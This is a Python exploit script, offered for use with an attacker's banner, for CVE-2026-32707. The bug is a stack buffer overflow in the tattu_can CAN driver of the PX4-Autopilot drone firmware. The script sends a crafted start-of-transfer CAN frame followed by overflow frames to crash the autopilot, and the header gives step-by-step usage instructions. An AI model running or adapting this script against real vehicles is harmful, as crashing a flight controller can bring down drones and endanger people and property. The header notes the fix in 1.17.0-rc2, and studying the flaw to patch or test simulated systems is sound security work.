#!/usr/bin/env python3
# Exploit Title: PX4-Autopilot tattu_can Stack Buffer Overflow (DoS)
# CVE: CVE-2026-32707
# Date: 2026-05-08
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://px4.io/
# Software Link: https://github.com/PX4/PX4-Autopilot
#   Affected: versions <= 1.17.0-rc1 (tattu_can driver)
# Tested on: Ubuntu 22.04 / PX4 SITL with vcan0
# Category: Denial of Service (DoS)
# Platform: Linux (SocketCAN)
# Exploit Type: Stack Overflow
# CVSS: 7.5 (High) - AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
# CWE: CWE-121 (Stack-based Buffer Overflow)
# Description: The tattu_can driver in PX4-Autopilot versions <=1.17.0-rc1
#   performs an unbounded memcpy when reassembling multi‑frame CAN messages,
#   allowing an attacker with CAN bus access to corrupt the stack and crash
#   the autopilot.
# Fixed in: commit 3f04b7a (PX4-Autopilot 1.17.0-rc2)
# Usage:
#   python3 exploit.py <can_interface>
# Examples:
#   python3 exploit.py vcan0
#   python3 exploit.py can0
# Options:
#   <can_interface>  - name of the CAN network interface (e.g., vcan0, can0)
# Notes:
#   - Requires python-can library: pip install python-can
#   - Run with root privileges (CAP_NET_RAW)
#   - The target must have tattu_can started (e.g., 'tattu_can start')
# How to Use
# Step 1: Install python-can: pip install python-can
# Step 2: Create virtual CAN if needed: sudo ip link add dev vcan0 type vcan && sudo ip link set up vcan0
# Step 3: Run: sudo python3 exploit.py vcan0

print(r"""
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║   ██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗                     ║
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║   ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝                    ║
║   ██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗                    ║
║   ██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║                    ║
║   ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝                    ║
║                                                                                            ║
║                         [ b a n y a m e r _ s e c u r i t y ]                              ║
║                                                                                            ║
║                  ▸ Silent Hunter  |  Shadow Presence  |  Digital Intel ◂                  ║
║                                                                                            ║
║   Operator : Mohammed Idrees Banyamer  •  Jordan 🇯🇴                                       ║
║   Handle   : @banyamer_security                                                           ║
║                                                                                            ║
║   Exploit  : CVE-2026-32707                                                               ║
║   Target   : PX4-Autopilot • tattu_can driver • CAN bus                                    ║
║                                                                                            ║
║   Status   : ACTIVE                                                                       ║
║                                                                                            ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")

import sys
import can
import time

TAIL_BYTE_START_OF_TRANSFER = 0x80
TATTLES_STRUCT_SIZE = 48
START_OFFSET = 5
OVERFLOW_DLC = 8
CAN_ID = 0x123

def main():
    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py <can_interface>")
        sys.exit(1)
    iface = sys.argv[1]
    try:
        bus = can.interface.Bus(channel=iface, bustype='socketcan', fd=False)
    except Exception as e:
        print(f"Failed to open CAN interface {iface}: {e}")
        sys.exit(1)
    print(f"[*] Sending start-of-transfer frame on {iface} (can_id=0x{CAN_ID:08X})")
    start_frame = can.Message(
        arbitration_id=CAN_ID | can.CAN_EFF_FLAG,
        data=[0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x00, TAIL_BYTE_START_OF_TRANSFER],
        is_extended_id=True,
        dlc=8
    )
    bus.send(start_frame)
    print(f"[*] Sending 7 overflow frames (each copies {OVERFLOW_DLC - 1} bytes)...")
    for i in range(7):
        payload = [ord('A') + (i % 26)] * OVERFLOW_DLC
        frame = can.Message(
            arbitration_id=CAN_ID | can.CAN_EFF_FLAG,
            data=payload,
            is_extended_id=True,
            dlc=OVERFLOW_DLC
        )
        bus.send(frame)
        time.sleep(0.01)
    final_payload = [0x42] * OVERFLOW_DLC
    final_frame = can.Message(
        arbitration_id=CAN_ID | can.CAN_EFF_FLAG,
        data=final_payload,
        is_extended_id=True,
        dlc=OVERFLOW_DLC
    )
    print("[*] Sending final overflow frame...")
    bus.send(final_frame)
    print("[+] Attack sequence completed. The PX4 tattu_can driver should now crash.")
    bus.shutdown()

if __name__ == "__main__":
    main()